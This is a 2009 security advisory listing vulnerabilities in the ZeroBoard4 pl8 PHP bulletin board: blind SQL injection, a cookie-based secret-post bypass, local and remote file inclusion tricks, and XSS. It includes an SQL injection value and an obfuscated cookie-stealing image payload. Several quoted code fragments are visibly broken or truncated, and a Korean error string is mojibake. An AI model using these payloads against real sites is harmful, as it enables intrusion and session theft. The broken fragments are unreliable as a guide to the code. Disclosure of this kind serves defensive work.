Zeroboard4 pl8 (07.12.17) - Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057432 漏洞类型
发布时间 2009-02-06 更新时间 2009-02-06
漏洞平台 PHP CVSS评分 N/A
ZeroBoard4 pl8 (07.12.17) Multiple Remote/Local Vulnerability 
thx to : Flyh4t

ZeroBoard4 (VERSION pl8 (07.12.17))is most famous and widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
There are Remote File Inclusion(?), Local File Inclusion, Blind sql injection vulnerability 
XSS, and Secret post view Vulnerability.
As I know, ZeroBoard4 will not be updated anymore because of zb developer start new project
that was called zbxe. If you still use zb4, U d better update to XE! :-) 
Here is the details:

TEST ON VERSION ZeroBoard4 pl8 (07.12.17)
Download :
[0x01] Blind SQL Injection Vulnerability



	include "_head.php";


@mysql_query("update $t_board"."_$id set headnum='$headnum',prev_no='$prev_no',next_no='$next_no',
	$del_que1 $del_que2 where no='$no'") or error(mysql_error()); 
	//del_que1 and del_qu2 wern`t initialized


Well, I`m so lazy person :-(
I didn`t make a exploit about this vuln.
BTW, Do you know what is the most important thing?
Attacker can control all post in same board!
For example :]
		when attacker set his own post like this :
		title : hola brotha!
		content : Itz party time!
		del_que1 : 1 or 1=1--

All post in the same board will be setted same as attacker`s one
Yeah.. Itz very bad news :-|

[0x02] Secret post view Auth bypass Vulnerability

	//When someone write a post, cookie will be seted
	$secret_str = $setup[no]."_".$no;
	//zb_s_check is just a post number


	//When someone trying to modify his own post,
	//Permission is checked right this: 


if($mode=="modify") {

		&&$HTTP_COOKIE_VARS[zb_s_check]!=$setup[no]."_".$no) error("Á€»óÀûÀÎ ¹æ¹ýÀž·Î ŒöÁ€ÇÏŒŒ¿ä");

		//If zb_s_check == no than that it will be bypassed


No exploit is needed

[0x03] Local file Inclusion Vulnerability


if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)) $dir ="./"; //....:)


include $dir."/write.php";

//write.php filter :// and .. 
//When we use absolute path, we can bypass filtering! :)




//If you have same account in that server


//And Flyh4t said, at some windows server we can ignore '/write.php'
//By using many '/'. 
//Maybe you can find a clue from below :

for($i=0;$i<=4071;$i++) {
        $a .= '/';
$a = 'test.txt'.$a;                   require_once($a.'.php');

[0x04] XSS

<img src="make0day" width=0 height=0>
<img src="make0day" onError=((document.all.tags('img')[0]).src=''+(eval(('D'+'o'+'C'+'u'+'M'+'e'+'N'+'t'+'.'+'C'+'o'+'O'+'k'+'I'+'e').toLowerCase()))) width=0 height=0>
//GNUBoard final version is also insecure.

[0x05] Remote file Inclusion Vulnerability


if(eregi(":\/\/",$dir)||eregi("^\.",$dir)) $dir ="./"; //Filtering


include "$dir/category_main.php";

//They just filtering :// and .
//It looks so perfect to detect RFI
//but with php 5.2 & allow_url_include & register_globals that filtering is not secure
//By using data:;, we can execute some arbitary php command without %00 


# [2009-02-06]